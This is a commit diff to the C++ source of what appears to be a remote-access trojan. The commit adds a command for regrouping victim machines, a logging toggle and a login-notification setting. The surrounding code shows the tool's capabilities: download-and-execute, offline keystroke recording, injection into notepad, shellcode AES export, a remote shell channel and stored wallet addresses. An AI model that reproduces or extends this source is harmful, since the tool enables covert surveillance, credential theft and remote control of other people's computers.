Feature: Complete re-group logic and add log control

This commit is contained in:
yuanyuanxiang
2025-12-17 23:07:54 +01:00
parent 23564ef19f
commit 602997082e
7 changed files with 52 additions and 3 deletions

View File

@@ -489,6 +489,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0]) {
case CMD_SET_GROUP:{
std::string group = std::string((char*)szBuffer + 1);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "group_name", group);
break;
}
case COMMAND_DOWN_EXEC:
{
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
@@ -708,6 +715,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
mgr->m_bIsOfflineRecord = TRUE;
}
Logger::getInstance().usingLog(m_settings.EnableLog);
}
break;
case COMMAND_KEYBOARD: { //键盘记录

View File

@@ -288,6 +288,7 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
{
iniFile cfg(CLIENT_PATH);
LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
//获得操作系统信息
@@ -301,6 +302,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
dwCPUMHz = CPUClockMHz();
BOOL bWebCamIsExist = WebCamIsExist();
std::string group = cfg.GetStr("settings", "group_name");
if (!group.empty())
strcpy_s(conn.szGroupName, group.c_str());
if (conn.szGroupName[0] == 0)
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
else
@@ -317,7 +321,6 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // 文件路径
LoginInfor.AddReserved("?"); // test
iniFile cfg(CLIENT_PATH);
std::string installTime = cfg.GetStr("settings", "install_time");
if (installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);

View File

@@ -269,6 +269,7 @@ enum {
TOKEN_SHELL_DATA = 231, // <20>ն˽<D5B6><CBBD><EFBFBD>
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
TOKEN_CLIENT_MSG = 241, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD>Ϣ
CMD_SET_GROUP = 242, // <20>޸ķ<DEB8><C4B7><EFBFBD>
};
enum MachineCommand {
@@ -890,7 +891,8 @@ typedef struct MasterSettings {
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
char WalletAddress[472]; // Wallets
int EnableKBLogger; // Since 2025-11-27
char Reserved[496]; // Since 2025-11-27
int EnableLog; // Since 2025-12-17
char Reserved[492]; // Since 2025-11-27
} MasterSettings;
#define MasterSettingsOldSize 500

Binary file not shown.

View File

@@ -558,6 +558,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
END_MESSAGE_MAP()
@@ -1200,6 +1202,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
auto w = THIS_CFG.GetStr("settings", "wallet", "");
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
m_settings.EnableLog = THIS_CFG.GetInt("settings", "EnableLog", 0);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
@@ -3856,7 +3859,18 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult)
void CMy2015RemoteDlg::OnOnlineRegroup()
{
TODO_NOTICE;
CInputDialog dlg(this);
dlg.Init("修改分组", "请输入分组名称:");
if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()){
return;
}
if (dlg.m_str.GetLength() >= 24) {
MessageBoxA("分组名称长度不得超过24个字符!", "提示", MB_ICONINFORMATION);
return;
}
BYTE cmd[50] = { CMD_SET_GROUP };
memcpy(cmd + 1, dlg.m_str, dlg.m_str.GetLength());
SendSelectedCommand(cmd, sizeof(cmd));
}
@@ -4238,3 +4252,23 @@ void CMy2015RemoteDlg::OnOnlineInjNotepad()
LeaveCriticalSection(&m_cs);
SAFE_DELETE(tinyRun);
}
void CMy2015RemoteDlg::OnParamLoginNotify()
{
static BOOL notify = THIS_CFG.GetInt("settings", "LoginNotify", 0);
notify = !notify;
THIS_CFG.SetInt("settings", "LoginNotify", notify);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED);
}
void CMy2015RemoteDlg::OnParamEnableLog()
{
m_settings.EnableLog = !m_settings.EnableLog;
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
SendMasterSettings(nullptr);
}

View File

@@ -378,4 +378,6 @@ public:
afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad();
afx_msg void OnParamLoginNotify();
afx_msg void OnParamEnableLog();
};

Binary file not shown.